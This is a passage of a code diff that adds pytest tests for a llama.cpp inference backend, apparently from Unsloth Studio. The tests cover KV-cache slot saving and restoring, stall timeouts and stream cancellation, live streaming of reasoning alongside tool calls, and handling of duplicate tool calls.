+        }
+    )
+    assert [c[1] for c in calls] == [{"action": "restore"}] * 2
+    assert calls[0][2] == {"filename": "resume-a-slot0.bin"}
+
+
+def test_restore_transport_error_stops_early(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path)
+    calls = []
+
+    def fake_post(url, **kwargs):
+        calls.append(url)
+        raise OSError("connection refused")
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    backend.restore_slots_for_resume(
+        {"slots": [{"id": 0, "filename": "a.bin"}, {"id": 1, "filename": "b.bin"}]}
+    )
+    assert len(calls) == 1
+
+
+def test_save_deletes_orphan_on_malformed_response(monkeypatch, tmp_path):
+    # A 200 that writes a file but returns a non-numeric counter must be cleaned
+    # up like any other save failure, not left orphaned holding chat KV.
+    backend = _resume_backend(tmp_path)
+    _fake_disk(monkeypatch)
+
+    def fake_post(url, **kwargs):
+        (tmp_path / kwargs["json"]["filename"]).write_bytes(b"chat-kv")
+        return _Resp(200, {"n_saved": "not-an-int"})
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    assert backend.save_slots_for_resume() is None
+    assert list(tmp_path.glob("resume-*.bin")) == []
+
+
+def test_save_deletes_orphan_on_non_dict_response(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path)
+    _fake_disk(monkeypatch)
+
+    def fake_post(url, **kwargs):
+        (tmp_path / kwargs["json"]["filename"]).write_bytes(b"chat-kv")
+        return _Resp(200, ["unexpected", "list"])
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    assert backend.save_slots_for_resume() is None
+    assert list(tmp_path.glob("resume-*.bin")) == []
+
+
+def test_save_cap_uses_actual_file_size_not_reported_bytes(monkeypatch, tmp_path):
+    # A binary under-reporting n_written must not slip past the disk cap: the
+    # cap is enforced against the bytes actually on disk.
+    backend = _resume_backend(tmp_path)
+    _fake_disk(monkeypatch)
+    monkeypatch.setattr(llama_cpp, "_SLOT_SAVE_MAX_BYTES", 150)
+
+    def fake_post(url, **kwargs):
+        (tmp_path / kwargs["json"]["filename"]).write_bytes(b"x" * 200)
+        return _Resp(200, {"n_saved": 5, "n_written": 1})  # under-reported
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    assert backend.save_slots_for_resume() is None  # 200 real bytes > 150 cap
+    assert list(tmp_path.glob("resume-*.bin")) == []
+
+
+def test_save_skipped_when_estimate_exceeds_cap(monkeypatch, tmp_path):
+    # An estimate over the cap skips before writing any slot at all.
+    backend = _resume_backend(tmp_path)
+    backend._estimate_kv_cache_bytes = lambda *a, **k: 1 << 40
+    monkeypatch.setattr(llama_cpp, "_SLOT_SAVE_MAX_BYTES", 1 << 20)
+    _fake_disk(monkeypatch)
+    monkeypatch.setattr(
+        llama_cpp.httpx,
+        "post",
+        lambda *a, **k: (_ for _ in ()).throw(AssertionError),
+        raising = False,
+    )
+    assert backend.save_slots_for_resume() is None
+
+
+def test_save_skipped_when_model_file_changed_since_load(monkeypatch, tmp_path):
+    # The GGUF/sidecars were swapped on disk after the server loaded them, so the
+    # live KV belongs to the old weights: refuse to persist it (no POST at all).
+    backend = _resume_backend(tmp_path)
+    backend._slot_loaded_identity = ((("stale", 0),), ())  # != current identity
+    _fake_disk(monkeypatch)
+    monkeypatch.setattr(
+        llama_cpp.httpx,
+        "post",
+        lambda *a, **k: (_ for _ in ()).throw(AssertionError),
+        raising = False,
+    )
+    assert backend.save_slots_for_resume() is None
+
+
+def test_save_proceeds_when_load_identity_matches(monkeypatch, tmp_path):
+    # Matching load-time snapshot: the save runs normally.
+    backend = _resume_backend(tmp_path)
+    backend._slot_loaded_identity = (
+        backend._gguf_file_identity(backend._gguf_path),
+        backend._slot_launch_fingerprint(),
+    )
+    _fake_disk(monkeypatch)
+
+    def fake_post(url, **kwargs):
+        (tmp_path / kwargs["json"]["filename"]).write_bytes(b"kv")
+        return _Resp(200, {"n_saved": 5, "n_written": 2})
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    manifest = backend.save_slots_for_resume()
+    assert manifest is not None
+    assert [e["id"] for e in manifest["slots"]] == [0]
+
+
+def test_save_skipped_when_estimate_unavailable_and_low_disk(monkeypatch, tmp_path):
+    # A 0 estimate means metadata was insufficient, not a zero-byte cache: the save
+    # must demand room for the whole cap, not just 1 GiB, on a low-disk host.
+    backend = _resume_backend(tmp_path)
+    backend._estimate_kv_cache_bytes = lambda *a, **k: 0  # metadata unavailable
+    monkeypatch.setattr(llama_cpp, "_SLOT_SAVE_MAX_BYTES", 8 << 30)  # 8 GiB cap
+    _fake_disk(monkeypatch, free = 2 << 30)  # 2 GiB free < 8 + 1 GiB required
+    monkeypatch.setattr(
+        llama_cpp.httpx,
+        "post",
+        lambda *a, **k: (_ for _ in ()).throw(AssertionError),
+        raising = False,
+    )
+    assert backend.save_slots_for_resume() is None
diff --git a/studio/backend/tests/test_llama_cpp_stall_timeout.py b/studio/backend/tests/test_llama_cpp_stall_timeout.py
new file mode 100644
index 0000000000..da36f75e8e
--- /dev/null
+++ b/studio/backend/tests/test_llama_cpp_stall_timeout.py
@@ -0,0 +1,125 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression test for the post-first-token stall timeout in the cancel-aware read.
+
+httpcore snapshots ``request.extensions["timeout"]["read"]`` once at body start, so
+when ``_iter_text_cancellable`` lowers it after the first token, a one-token-then-silent
+server hangs for the full prefill window. The fix re-reads the live extensions timeout
+per call; a fake clock and always-silent stream check the read gives up after the live
+stall timeout, not the stale prefill one.
+"""
+
+from __future__ import annotations
+
+import inspect
+import sys
+import threading
+import types as _types
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Mirror sibling tests' stubbing so the module imports without fastapi.
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+sys.modules.setdefault("structlog", _types.ModuleType("structlog"))
+
+import httpcore  # noqa: E402
+
+from core.inference import llama_cpp as llama_cpp_mod  # noqa: E402
+from core.inference.llama_cpp import LlamaCppBackend  # noqa: E402
+
+_PREFILL_TIMEOUT = 1200.0  # what httpcore snapshots from the prefill timeout
+_STALL_TIMEOUT = 120.0  # the post-first-token stall timeout the wrapper must honor
+
+
+class _Obj:
+    pass
+
+
+def _install(response, clock, silent_stream):
+    """Wire fake client/pool so _install_cancel_aware_read finds the stream; return the wrapped stream.read."""
+    inner = _Obj()
+    inner._network_stream = silent_stream
+    connection = _Obj()
+    connection._connection = inner
+    pool = _Obj()
+    pool._connections = [connection]
+    transport = _Obj()
+    transport._pool = pool
+    client = _Obj()
+    client._transport = transport
+
+    cancel_event = threading.Event()  # never set: we test the stall path, not cancel
+    sig = inspect.signature(LlamaCppBackend._install_cancel_aware_read)
+    if "response" in sig.parameters:
+        # Fixed signature: wrapper reads the live extensions timeout.
+        LlamaCppBackend._install_cancel_aware_read(client, cancel_event, response)
+    else:
+        # Pre-fix signature: no response, so the stall assertion fails (proves the bug).
+        LlamaCppBackend._install_cancel_aware_read(client, cancel_event)
+    return silent_stream.read
+
+
+def test_stall_timeout_honored_after_first_token(monkeypatch):
+    clock = {"t": 0.0}
+    monkeypatch.setattr(llama_cpp_mod.time, "monotonic", lambda: clock["t"])
+
+    # One token then silence: every read times out, advancing fake time by its timeout.
+    def silent_read(max_bytes, timeout = None):
+        clock["t"] += timeout if timeout is not None else 0.0
+        raise httpcore.ReadTimeout("slice timed out on silence")
+
+    stream = _Obj()
+    stream.read = silent_read
+
+    # First token seen: the live read timeout is lowered to the stall timeout.
+    request = _Obj()
+    request.extensions = {"timeout": {"read": _STALL_TIMEOUT}}
+    response = _Obj()
+    response.request = request
+
+    wrapped_read = _install(response, clock, stream)
+
+    # httpcore still passes the stale prefill timeout it snapshotted at body start.
+    with pytest.raises(httpcore.ReadTimeout):
+        wrapped_read(65536, timeout = _PREFILL_TIMEOUT)
+
+    # Must give up ~stall timeout after the last token, not the prefill window.
+    assert clock["t"] <= _STALL_TIMEOUT * 1.5, (
+        f"stall timeout not honored: waited {clock['t']}s "
+        f"(expected ~{_STALL_TIMEOUT}s, not {_PREFILL_TIMEOUT}s)"
+    )
+    assert clock["t"] >= _STALL_TIMEOUT * 0.5
+
+
+def test_prefill_timeout_used_when_no_live_override(monkeypatch):
+    """Without a lowered live timeout, the wrapper honors the passed prefill timeout, so the normal first-token wait is unchanged."""
+    clock = {"t": 0.0}
+    monkeypatch.setattr(llama_cpp_mod.time, "monotonic", lambda: clock["t"])
+
+    def silent_read(max_bytes, timeout = None):
+        clock["t"] += timeout if timeout is not None else 0.0
+        raise httpcore.ReadTimeout("slice timed out on silence")
+
+    stream = _Obj()
+    stream.read = silent_read
+
+    # No timeout extension: wrapper falls back to httpcore's passed timeout.
+    request = _Obj()
+    request.extensions = {}
+    response = _Obj()
+    response.request = request
+
+    wrapped_read = _install(response, clock, stream)
+
+    with pytest.raises(httpcore.ReadTimeout):
+        wrapped_read(65536, timeout = _PREFILL_TIMEOUT)
+
+    assert clock["t"] >= _PREFILL_TIMEOUT * 0.9
diff --git a/studio/backend/tests/test_llama_cpp_stream_cancel.py b/studio/backend/tests/test_llama_cpp_stream_cancel.py
new file mode 100644
index 0000000000..f87ce86450
--- /dev/null
+++ b/studio/backend/tests/test_llama_cpp_stream_cancel.py
@@ -0,0 +1,192 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+import contextlib
+import os
+import socket
+import sys
+import threading
+import time
+
+import httpx
+import pytest
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from core.inference.llama_cpp import LlamaCppBackend, _LlamaStreamCancelled
+
+
+def _backend_stub() -> LlamaCppBackend:
+    backend = LlamaCppBackend.__new__(LlamaCppBackend)
+    backend._process = object()
+    backend._healthy = True
+    backend._port = 48848
+    backend._effective_context_length = 4096
+    backend._supports_reasoning = False
+    backend._reasoning_always_on = False
+    backend._reasoning_style = "enable_thinking"
+    backend._supports_preserve_thinking = False
+    return backend
+
+
+def test_stream_cancel_uses_internal_exception_not_generator_exit():
+    class FakeResponse:
+        status_code = 200
+
+        def close(self):
+            pass
+
+    class FakeStream:
+        def __enter__(self):
+            return FakeResponse()
+
+        def __exit__(self, *_args):
+            return False
+
+    class FakeClient:
+        def stream(self, *_args, **_kwargs):
+            return FakeStream()
+
+    cancel_event = threading.Event()
+
+    with pytest.raises(Exception) as exc_info:
+        with LlamaCppBackend._stream_with_retry(
+            FakeClient(),
+            "http://llama.test/v1/chat/completions",
+            {},
+            cancel_event,
+        ):
+            cancel_event.set()
+            raise httpx.ReadError("client closed")
+
+    assert exc_info.type is _LlamaStreamCancelled
+    assert not issubclass(exc_info.type, GeneratorExit)
+
+
+def test_generate_chat_completion_swallows_internal_stream_cancel(monkeypatch):
+    backend = _backend_stub()
+
+    @contextlib.contextmanager
+    def fake_open_stream(*_args, **_kwargs):
+        raise _LlamaStreamCancelled
+
+    monkeypatch.setattr(backend, "_open_stream", fake_open_stream)
+
+    chunks = list(
+        backend.generate_chat_completion(
+            [{"role": "user", "content": "hi"}],
+            cancel_event = threading.Event(),
+        )
+    )
+
+    assert chunks == []
+
+
+class _StallUpstream:
+    """Raw HTTP/1.1 server that streams one chunked SSE chunk, then holds the
+    socket open and silent so the client's next read blocks in recv() until its
+    side is torn down. Reproduces a mid-stream stall (llama-server goes quiet)."""
+
+    def __init__(self):
+        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self._sock.bind(("127.0.0.1", 0))
+        self._sock.listen(1)
+        self.port = self._sock.getsockname()[1]
+        self._stop = threading.Event()
+        self._thread = threading.Thread(target = self._serve, daemon = True)
+
+    @property
+    def url(self) -> str:
+        return f"http://127.0.0.1:{self.port}/v1/chat/completions"
+
+    def __enter__(self):
+        self._thread.start()
+        return self
+
+    def __exit__(self, *_exc):
+        self._stop.set()
+        try:
+            self._sock.close()
+        except OSError:
+            pass
+        self._thread.join(timeout = 5)
+
+    def _serve(self) -> None:
+        try:
+            conn, _ = self._sock.accept()
+        except OSError:
+            return
+        with conn:
+            conn.settimeout(5)
+            try:
+                buf = b""
+                while b"\r\n\r\n" not in buf:
+                    data = conn.recv(4096)
+                    if not data:
+                        return
+                    buf += data
+                head, _, body = buf.partition(b"\r\n\r\n")
+                content_length = 0
+                for line in head.split(b"\r\n"):
+                    if line.lower().startswith(b"content-length:"):
+                        content_length = int(line.split(b":", 1)[1].strip())
+                        break
+                while len(body) < content_length:
+                    data = conn.recv(4096)
+                    if not data:
+                        break
+                    body += data
+            except OSError:
+                return
+            conn.sendall(
+                b"HTTP/1.1 200 OK\r\n"
+                b"Content-Type: text/event-stream\r\n"
+                b"Transfer-Encoding: chunked\r\n"
+                b"\r\n"
+            )
+            chunk = b"data: hello\n\n"
+            conn.sendall(b"%x\r\n%s\r\n" % (len(chunk), chunk))
+            # Stall: stay open and silent until the client shuts its side down.
+            while not self._stop.wait(timeout = 0.05):
+                try:
+                    conn.settimeout(0.05)
+                    if conn.recv(1) == b"":
+                        return
+                except socket.timeout:
+                    continue
+                except OSError:
+                    return
+
+
+def test_cancel_interrupts_a_read_blocked_on_a_mid_stream_stall():
+    # Mid-stream stall: the reader is parked in recv() on a long bound read timeout,
+    # so response.close() alone can't wake it; the watcher must shut the socket down.
+    # Assert cancel lands in seconds, not at the far-off deadline (pre-fix: hung ~30s).
+    with _StallUpstream() as server:
+        cancel_event = threading.Event()
+
+        def _cancel_soon():
+            time.sleep(0.3)
+            cancel_event.set()
+
+        threading.Thread(target = _cancel_soon, daemon = True).start()
+
+        started = time.monotonic()
+        with httpx.Client(
+            limits = httpx.Limits(max_keepalive_connections = 0), trust_env = False
+        ) as client:
+            with pytest.raises(_LlamaStreamCancelled):
+                with LlamaCppBackend._stream_with_retry(
+                    client,
+                    server.url,
+                    {},
+                    cancel_event,
+                    first_token_deadline = started + 30,
+                ) as response:
+                    for _chunk in response.iter_text():
+                        pass  # first chunk arrives, then the read blocks silently
+        elapsed = time.monotonic() - started
+
+    assert elapsed < 10, f"cancel took {elapsed:.1f}s; the blocked read was not interrupted"
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index 05d2a0b80a..e99e227d40 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -20,7 +20,11 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
 if _BACKEND_DIR not in sys.path:
     sys.path.insert(0, _BACKEND_DIR)
 
-from core.inference.llama_cpp import _PROVISIONAL_ARGS_MIN_CHARS, LlamaCppBackend
+from core.inference.llama_cpp import (
+    _MAX_REPROMPTS,
+    _PROVISIONAL_ARGS_MIN_CHARS,
+    LlamaCppBackend,
+)
 from state import tool_approvals
 from state.tool_approvals import TOOL_REJECTED_MESSAGE, resolve_tool_decision
 
@@ -118,7 +122,7 @@ def _structured_tool_call(tool_name: str, arguments: dict, call_id: str) -> list
 def test_structured_tool_call_after_visible_preface_is_executed(monkeypatch):
     """llama-server may emit content first and then native delta.tool_calls.
 
-    Studio must not drop that tool call after it has streamed the preface.
+    Unsloth must not drop that tool call after it has streamed the preface.
     """
 
     tool_call_id = "call_render_late"
@@ -217,7 +221,7 @@ def test_structured_tool_call_after_visible_preface_is_executed(monkeypatch):
     assert assistant_messages[-1]["tool_calls"][0]["function"]["name"] == "render_html"
 
 
-def test_buffered_reasoning_answer_emits_backend_summary(monkeypatch):
+def test_streamed_reasoning_answer_emits_backend_summary(monkeypatch):
     stream = [
         _sse({"reasoning_content": "I am thinking."}),
         _sse({"reasoning_content": " Still thinking."}),
@@ -236,17 +240,236 @@ def test_buffered_reasoning_answer_emits_backend_summary(monkeypatch):
         )
     )
 
+    content_texts = [e["text"] for e in events if e["type"] == "content"]
+    # Reasoning streams live during BUFFERING instead of arriving as one block:
+    # each reasoning delta is emitted immediately, wrapped in <think>.
+    assert content_texts[0] == "<think>I am thinking."
+    assert content_texts[1] == "<think>I am thinking. Still thinking."
+    # The final event closes the block and appends the answer.
+    assert content_texts[-1] == "<think>I am thinking. Still thinking.</think>Final answer."
+
     summary_index = next(
         i for i, event in enumerate(events) if event["type"] == "reasoning_summary"
     )
-    content_index = next(i for i, event in enumerate(events) if event["type"] == "content")
-    assert summary_index < content_index
+    final_content_index = max(i for i, event in enumerate(events) if event["type"] == "content")
+    assert summary_index < final_content_index
     assert events[summary_index]["duration_ms"] == 62000
-    assert (
-        events[content_index]["text"]
-        == "<think>I am thinking. Still thinking.</think>Final answer."
+
+
+def test_reasoning_streams_incrementally_with_tools(monkeypatch):
+    # Regression (DeepSeek "thinking doesn't stream"): with a tool/pill active the
+    # tool-loop generator must stream reasoning token-by-token like the no-tool
+    # path, not accumulate it and dump one buffered <think> block.
+    stream = [
+        _sse({"reasoning_content": "Step one."}),
+        _sse({"reasoning_content": " Step two."}),
+        _sse({"reasoning_content": " Step three."}),
+        _sse({"content": "Done."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+    _patch_monotonic(monkeypatch, [1.0, 2.0, 3.0, 4.0, 4.0])
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "think then answer"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
     )
 
+    reasoning_stage = [
+        e["text"]
+        for e in events
+        if e["type"] == "content"
+        and e["text"].startswith("<think>")
+        and "</think>" not in e["text"]
+    ]
+    # One live emission per reasoning delta -- not a single dump.
+    assert reasoning_stage == [
+        "<think>Step one.",
+        "<think>Step one. Step two.",
+        "<think>Step one. Step two. Step three.",
+    ]
+    final = [e["text"] for e in events if e["type"] == "content"][-1]
+    assert final == "<think>Step one. Step two. Step three.</think>Done."
+
+
+def test_reasoning_only_reply_matches_no_tool_path_with_tools(monkeypatch):
+    # A reasoning-only turn (whole answer in reasoning_content, no content, no
+    # tool) with a tool active streams the reasoning live, then resolves to the
+    # bare reasoning text -- identical to the no-tool generate_chat_completion
+    # path -- so the non-streaming drain still returns it as `content`, not an
+    # empty answer.
+    stream = [
+        _sse({"reasoning_content": "The capital of France is Paris."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+    _patch_monotonic(monkeypatch, [1.0, 5.0, 5.0])
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "just think"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e["text"] for e in events if e["type"] == "content"]
+    # Reasoning streamed live during BUFFERING (the fix).
+    assert content_texts[0] == "<think>The capital of France is Paris."
+    # Resolves to bare reasoning, matching the no-tool sibling.
+    assert content_texts[-1] == "The capital of France is Paris."
+
+
+def test_reasoning_before_structured_tool_closes_think_block(monkeypatch):
+    # Regression: reasoning streamed live during BUFFERING must be closed with
+    # </think> before a structured tool_call drains, so consumers without a
+    # reasoning extractor (Anthropic /v1/messages) never receive an unclosed
+    # <think>. Mirrors the is_match (XML tool signal) path.
+    tool_stream = [
+        _sse({"reasoning_content": "Let me search."}),
+        *_structured_tool_call("web_search", {"query": "weather"}, "call_1"),
+    ]
+    final_stream = [
+        _sse({"content": "It is sunny."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads)
+    _patch_monotonic(monkeypatch, [1.0, 2.0, 3.0, 4.0, 4.0])
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool", lambda name, arguments, **_kwargs: "sunny"
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    tool_start_index = next(i for i, e in enumerate(events) if e["type"] == "tool_start")
+    content_before_tool = [e["text"] for e in events[:tool_start_index] if e["type"] == "content"]
+    # Reasoning streamed live, then closed before the tool -- balanced block.
+    assert content_before_tool[0] == "<think>Let me search."
+    assert content_before_tool[-1] == "<think>Let me search.</think>"
+
+
+def _replay_route_reasoning_extractor(cumulatives: list[str]) -> tuple[str, str]:
+    """Replay the route's cumulative suffix-diff + reasoning extractor (the
+    shared core of routes/inference.py gguf_stream_chunks and the tool-loop
+    consumer) over content snapshots. Returns (visible, reasoning)."""
+    from routes.inference import _ResponsesReasoningExtractor
+
+    extractor = _ResponsesReasoningExtractor(parse_think_markers = True)
+    prev_text = ""
+    visible: list[str] = []
+    reasoning: list[str] = []
+    for cumulative in cumulatives:
+        new_text = cumulative[len(prev_text) :]
+        prev_text = cumulative
+        if not new_text:
+            continue
+        reasoning_delta, visible_delta = extractor.feed(new_text)
+        if reasoning_delta:
+            reasoning.append(reasoning_delta)
+        if visible_delta:
+            visible.append(visible_delta)
+    final_reasoning, final_visible = extractor.finish()
+    if final_reasoning:
+        reasoning.append(final_reasoning)
+    if final_visible:
+        visible.append(final_visible)
+    return "".join(visible), "".join(reasoning)
+
+
+def test_reasoning_only_route_output_matches_no_tool_path(monkeypatch):
+    # Parity contract: a reasoning-only reply must reach the client identically
+    # whether tools are on or off. Both generators stream <think> live then
+    # resolve to the bare reasoning text; the route's suffix-diff + extractor
+    # must therefore produce the same (visible, reasoning) split for both.
+    stream = [
+        _sse({"reasoning_content": "The capital"}),
+        _sse({"reasoning_content": " of France is Paris."}),
+        _done(),
+    ]
+
+    tool_backend = _make_backend(monkeypatch, [list(stream)], [])
+    _patch_monotonic(monkeypatch, [1.0, 2.0, 2.0])
+    tool_cumulatives = [
+        e["text"]
+        for e in tool_backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "capital of France?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+        if e.get("type") == "content"
+    ]
+
+    no_tool_backend = _make_backend(monkeypatch, [list(stream)], [])
+    no_tool_cumulatives = [
+        y
+        for y in no_tool_backend.generate_chat_completion(
+            messages = [{"role": "user", "content": "capital of France?"}],
+        )
+        if isinstance(y, str)
+    ]
+
+    # Both paths stream the reasoning live with the same leading shape. (Raw
+    # yield lists aren't compared verbatim: the tool path emits a pre-existing
+    # duplicate trailing event that the route's suffix-diff dedupes.)
+    assert tool_cumulatives[:3] == no_tool_cumulatives[:3]
+    # The contract that matters: identical route-level output.
+    tool_out = _replay_route_reasoning_extractor(tool_cumulatives)
+    no_tool_out = _replay_route_reasoning_extractor(no_tool_cumulatives)
+    assert tool_out == no_tool_out
+    # Pin the shared contract so a change to either path shows up here.
+    _visible, reasoning = tool_out
+    assert reasoning == "The capital of France is Paris."
+
+
+def test_reasoning_before_bare_json_tool_closes_think_block(monkeypatch):
+    # _drain_silently sibling of the structured-tool close: a bare-JSON tool call
+    # with a live reasoning prefix must also close </think> before draining, and
+    # must never leak the drained call text as content.
+    tool_stream = [
+        _sse({"reasoning_content": "Searching now."}),
+        _sse({"content": '{"name":"web_search","arguments":{"query":"weather"}}'}),
+        _done(),
+    ]
+    final_stream = [
+        _sse({"content": "It is sunny."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads)
+    _patch_monotonic(monkeypatch, [1.0, 2.0, 3.0, 4.0, 4.0])
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool", lambda name, arguments, **_kwargs: "sunny"
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    tool_start_index = next(i for i, e in enumerate(events) if e["type"] == "tool_start")
+    content_before_tool = [e["text"] for e in events[:tool_start_index] if e["type"] == "content"]
+    assert content_before_tool[0] == "<think>Searching now."
+    assert content_before_tool[-1] == "<think>Searching now.</think>"
+    # The bare-JSON call text was drained, never surfaced as content.
+    assert not any('"name"' in t for t in content_before_tool)
+
 
 def test_consumed_tool_final_pass_emits_latest_reasoning_summary(monkeypatch):
     tool_stream = [
@@ -838,6 +1061,80 @@ def test_same_turn_duplicate_web_search_is_internal_noop(monkeypatch):
     ]
 
 
+def test_same_turn_duplicate_does_not_drop_later_parallel_call(monkeypatch):
+    # One batch: search(a), search(a) [duplicate], search(b). The duplicate is an
+    # internal no-op, but the distinct search(b) after it must still run, and the
+    # no-op nudge must land after the tool results rather than splitting them.
+    batch = [
+        _sse(
+            {
+                "tool_calls": [
+                    {
+                        "index": 0,
+                        "id": "call_a1",
+                        "type": "function",
+                        "function": {"name": "web_search", "arguments": json.dumps({"query": "a"})},
+                    },
+                    {
+                        "index": 1,
+                        "id": "call_a2",
+                        "type": "function",
+                        "function": {"name": "web_search", "arguments": json.dumps({"query": "a"})},
+                    },
+                    {
+                        "index": 2,
+                        "id": "call_b",
+                        "type": "function",
+                        "function": {"name": "web_search", "arguments": json.dumps({"query": "b"})},
+                    },
+                ]
+            }
+        ),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Final answer."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [batch, final_stream], payloads)
+
+    calls: list[dict] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append(arguments)
+        return "search-result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 3,
+        )
+    )
+
+    # Both distinct calls ran; the duplicate did not (old `break` dropped search(b)).
+    assert calls == [{"query": "a"}, {"query": "b"}]
+    assert [e.get("tool_call_id") for e in events if e.get("type") == "tool_end"] == [
+        "call_a1",
+        "call_b",
+    ]
+
+    # The next generation's conversation must be well-formed: the assistant lists
+    # only the executed calls (no orphan for the duplicate), the two tool results
+    # follow contiguously, and the no-op nudge lands after them, never between.
+    conv = payloads[1]["messages"]
+    asst = next(m for m in conv if m["role"] == "assistant" and m.get("tool_calls"))
+    assert [tc.get("id") for tc in asst["tool_calls"]] == ["call_a1", "call_b"]
+    after = conv[conv.index(asst) + 1 :]
+    assert [m["role"] for m in after[:2]] == ["tool", "tool"]
+    assert [m.get("tool_call_id") for m in after[:2]] == ["call_a1", "call_b"]
+    assert after[2]["role"] == "user"  # deferred duplicate nudge, after the results
+    assert after[2]["content"].startswith(
+        "One earlier request to call tool 'web_search' in this batch was not executed"
+    )
+    assert "previous tool request" not in after[2]["content"].lower()
+
+
 def test_same_turn_repeated_render_html_does_not_emit_second_provisional_start(monkeypatch):
     same_turn_render_calls = [
         _sse(
@@ -1036,9 +1333,11 @@ def test_render_html_success_does_not_reprompt_render_html_intent(monkeypatch):
 def test_internal_reprompt_attempts_do_not_duplicate_visible_text(monkeypatch):
     """No-tool re-prompt attempts should not concatenate into the UI."""
 
-    streams = [
-        [_sse({"content": "I will use render_html now."}), _done()],
-        [_sse({"content": "Understood. I will use render_html now."}), _done()],
+    # One initial response plus one stream per re-prompt; derive the count from the shared cap.
+    streams = [[_sse({"content": "I will use render_html now."}), _done()]]
+    streams += [
+        [_sse({"content": "Understood. I will use render_html now."}), _done()]
+        for _ in range(_MAX_REPROMPTS)
     ]
     payloads: list[dict] = []
     backend = _make_backend(monkeypatch, streams, payloads)
@@ -1073,7 +1372,7 @@ def test_internal_reprompt_attempts_do_not_duplicate_visible_text(monkeypatch):
 
     content_texts = [event.get("text", "") for event in events if event.get("type") == "content"]
     assert content_texts == ["I will use render_html now."]
-    assert len(payloads) == 2
+    assert len(payloads) == _MAX_REPROMPTS + 1
 
 
 def test_forced_reprompt_plain_final_answer_is_visible(monkeypatch):
@@ -1162,6 +1461,48 @@ def test_internal_reprompt_disabled_when_auto_heal_disabled(monkeypatch):
     assert len(payloads) == 1
 
 
+def test_internal_reprompt_disabled_when_nudge_tool_calls_false(monkeypatch):
+    # Explicit nudge_tool_calls=False disables the plan-without-action
+    # re-prompt even with Auto-Heal on (None keeps the default-on behavior).
+    streams = [[_sse({"content": "I will use render_html now."}), _done()]]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        raise AssertionError(f"unexpected tool execution: {name} {arguments}")
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    tools = [
+        {
+            "type": "function",
+            "function": {
+                "name": "render_html",
+                "description": "Render HTML.",
+                "parameters": {
+                    "type": "object",
+                    "properties": {"code": {"type": "string"}},
+                    "required": ["code"],
+                },
+            },
+        }
+    ]
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "Make a red square."}],
+            tools = tools,
+            max_tool_iterations = 1,
+            auto_heal_tool_calls = True,
+            nudge_tool_calls = False,
+        )
+    )
+
+    content_texts = [event.get("text", "") for event in events if event.get("type") == "content"]
+    assert content_texts == ["I will use render_html now."]
+    assert len(payloads) == 1
+
+
